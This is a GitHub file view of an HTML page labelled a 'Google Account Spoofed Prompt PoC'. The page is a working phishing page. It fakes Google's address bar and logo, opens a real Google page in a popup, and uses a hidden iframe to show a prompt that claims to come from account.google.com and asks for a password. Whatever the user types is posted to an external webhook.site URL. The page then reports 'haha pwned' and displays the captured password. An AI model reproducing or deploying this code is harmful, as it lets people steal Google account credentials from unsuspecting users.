-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathjuki.html
More file actions
191 lines (177 loc) · 7.18 KB
/
juki.html
File metadata and controls
191 lines (177 loc) · 7.18 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Google Account Spoofed Prompt PoC</title>
<style>
body {
margin: 0;
padding: 20px;
font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;
background: #f0f0f0;
text-align: center;
line-height: 1.6;
}
h1 {
color: #d93025;
font-size: 24px;
margin-bottom: 10px;
}
h2 {
color: #333;
font-size: 18px;
margin: 20px 0 10px;
}
button {
display: inline-block;
padding: 16px 32px;
background: #1a73e8;
color: white;
border: none;
border-radius: 8px;
cursor: pointer;
font-size: 16px;
font-weight: 500;
margin: 20px auto;
box-shadow: 0 2px 6px rgba(26,115,232,0.3);
transition: all 0.2s;
}
button:hover {
background: #1557b0;
transform: translateY(-1px);
}
button:active {
transform: translateY(0);
}
#status {
margin-top: 30px;
padding: 16px;
background: #fff;
border-radius: 8px;
box-shadow: 0 1px 3px rgba(0,0,0,0.1);
min-height: 50px;
font-weight: bold;
color: #d93025;
}
.info {
background: #e8f0fe;
color: #1967d2;
padding: 12px;
border-radius: 6px;
font-size: 14px;
margin: 20px;
border-left: 4px solid #1a73e8;
}
.fake-addr {
position: fixed;
top: 0; left: 0; right: 0;
background: #f1f3f4;
padding: 8px 12px;
font-family: monospace;
font-size: 13px;
color: #5f6368;
z-index: 9999;
border-bottom: 1px solid #dadce0;
overflow: hidden;
white-space: nowrap;
text-overflow: ellipsis;
}
.google-logo {
width: 80px;
margin: 20px auto;
}
</style>
</head>
<body>
<!-- Fake Google Address Bar -->
<div class="fake-addr">https://accounts.google.com/signin/v2/challenge</div>
<div class="google-logo">
<svg viewBox="0 0 75 24" xmlns="http://www.w3.org/2000/svg">
<path d="M22.56 10.51c0-.84-.08-1.66-.22-2.44h-11.1v4.62h6.33c-.27 1.4-1.1 3.6-3.24 4.8l-.04.24 4.7 3.64.33.03c3.03-2.8 4.78-6.9 4.78-11.89z" fill="#4285F4"/>
<path d="M11.24 21.62c3.15 0 5.8-1.04 7.74-2.82l-5.03-3.9c-1.36.91-3.1 1.44-4.71 1.44-3.62 0-6.68-2.37-7.77-5.57l-.24.02-4.88 3.78-.06.17c1.93 3.78 5.9 6.28 10.95 6.28z" fill="#34A853"/>
<path d="M3.47 12.75c-.3-1.1-.47-2.27-.47-3.5s.17-2.4.47-3.5l-.01-.26-4.94-3.83-.16.08c-1.1 1.95-1.72 4.16-1.72 6.51 0 2.35.62 4.56 1.72 6.51l.28-.22 4.83-3.79z" fill="#FBBC05"/>
<path d="M11.24 4.62c1.72 0 3.27.62 4.49 1.84l3.32-3.32c-2.03-1.9-4.7-3.06-7.81-3.06-5.05 0-9.02 2.5-10.95 6.28l6.1 4.73c1.09-3.2 4.15-5.57 7.85-5.57z" fill="#EA4335"/>
</svg>
</div>
<h1>Sign in</h1>
<h2>Use your Google Account</h2>
<div class="info">
<strong>PoC Active:</strong> Click below to verify your account
</div>
<button id="triggerBtn">Continue to Google</button>
<div id="status">Waiting for action...</div>
<script>
document.getElementById('triggerBtn').onclick = () => {
// Update status
document.getElementById('status').innerHTML = 'Opening Google Account...';
// Step 1: Open legit Google login page
const w = window.open('https://account.google.com/', '_blank');
if (!w) {
document.getElementById('status').innerHTML = 'Popup blocked! Please allow popups.';
return;
}
// Step 2: After 2 seconds, inject delayed prompt via iframe
setTimeout(() => {
document.getElementById('status').innerHTML = 'Verifying identity...';
const iframe = document.createElement('iframe');
iframe.style.display = 'none';
// Delayed prompt (1 second after iframe loads)
iframe.src = 'javascript:(function(){' +
'setTimeout(function(){' +
'var p = prompt("account.google.com says\\n\\nPassword:");' +
'if(p && p.trim() !== ""){' +
'document.write(\'<form method="POST" action="https://webhook.site/46a1ff0d-65fb-41b4-a384-0ed267ed2a90/submit" id="f">' +
'<input type="hidden" name="password" value="\'+p.replace(/"/g,""")+\'">' +
'<input type="submit"></form>\');' +
'document.getElementById("f").submit();' +
'} else if (p !== null) {' +
'alert("Password is required!");' +
'setTimeout(arguments.callee, 500);' + // retry
'}' +
'}, 1000);' +
'})()';
document.body.appendChild(iframe);
// Step 3: Detect success and show "pwned" message
let attempts = 0;
const maxAttempts = 30; // 15 seconds max
const check = setInterval(() => {
attempts++;
try {
const doc = iframe.contentDocument || iframe.contentWindow.document;
if (doc && doc.body) {
const form = doc.getElementById('f');
if (form) {
const pwd = form.querySelector('input[name="password"]').value;
document.getElementById('status').innerHTML =
'<span style="color:#d93025;">haha pwned!</span><br>' +
'Password captured: <code>' + pwd + '</code>';
clearInterval(check);
cleanup();
return;
}
}
} catch (e) {
// Cross-origin expected
}
if (attempts >= maxAttempts) {
document.getElementById('status').innerHTML = 'Timeout. No password entered.';
clearInterval(check);
cleanup();
}
}, 500);
function cleanup() {
setTimeout(() => {
if (document.body.contains(iframe)) {
document.body.removeChild(iframe);
}
if (w && !w.closed) {
w.close();
}
}, 2000);
}
}, 2000);
};
</script>
</body>
</html>